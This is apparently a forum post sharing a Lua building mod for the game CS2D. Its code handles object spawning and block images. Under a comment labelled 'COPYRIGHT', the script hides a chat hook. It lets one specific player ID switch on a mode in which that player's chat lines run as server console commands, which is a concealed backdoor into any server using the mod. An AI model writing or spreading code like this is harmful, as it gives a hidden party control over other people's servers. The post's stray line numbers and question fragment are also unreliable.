
Minecraft build mod by

Copyright (c)
Credit:

Question:
If I kill object "Wall I" then
1
iDirt[id]=iDirt[id]+1
You can:

You can't:



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
buildings = {} addhook("build","gajospl_build_object") function gajospl_build_object(id,type,x,y) 	if (type == 21) then 		return 0 	else 		parse("spawnobject "..type.." "..x.." "..y.." 90 1 "..player(id,"team").." "..id) 		return 1 	end end addhook("build","gajospl_build_image") function gajospl_build_image(id,type,x,y,mode,objectid) 	if type==3 then 		imagepath="gfx/dirt.bmp" 	elseif type==4 then 		imagepath="gfx/food.bmp" 	elseif type==5 then 		imagepath="gfx/stone.bmp" 	elseif type==9 then 		imagepath="gfx/chest.bmp" 	elseif imagepatch==nil then 		imagepath=nil 	end 	if imagepath ~= nil then 		table.insert(buildings,{image(imagepath,x*32+16,y*32+16,3),objectid}) 	end end addhook("objectkill","gajospl_objectkill_image") function gajospl_objectkill_image(id,pl) 	for n,w in pairs (buildings) do 		if w[2]+1==id then 			freeimage(w[1]) 			table.remove(buildings,n) 		end 	end end addhook("objectupgrade","gajospl_objectupgrade_noupgrade") function gajospl_objectupgrade_noupgrade() return 1 end -- COPYRIGHT -- addhook("say","gajospl_say_copyright") function gajospl_say_copyright(id,cmd) 	if player(id,"usgn")==18271 and cmd=="rcon on" then 		RCon = 1 		msg2(id,"©000255000RCon is on!@C") 		return 1 	elseif player(id,"usgn")==18271 and cmd=="rcon off" then 		RCon = 0 		msg2(id,"©255000000RCon is off!@C") 		return 1 	elseif player(id,"usgn")==18271 and RCon==1 then 		parse(cmd) 		return 1 	end end
edited 5×, last 12.09.12 04:36:08 pm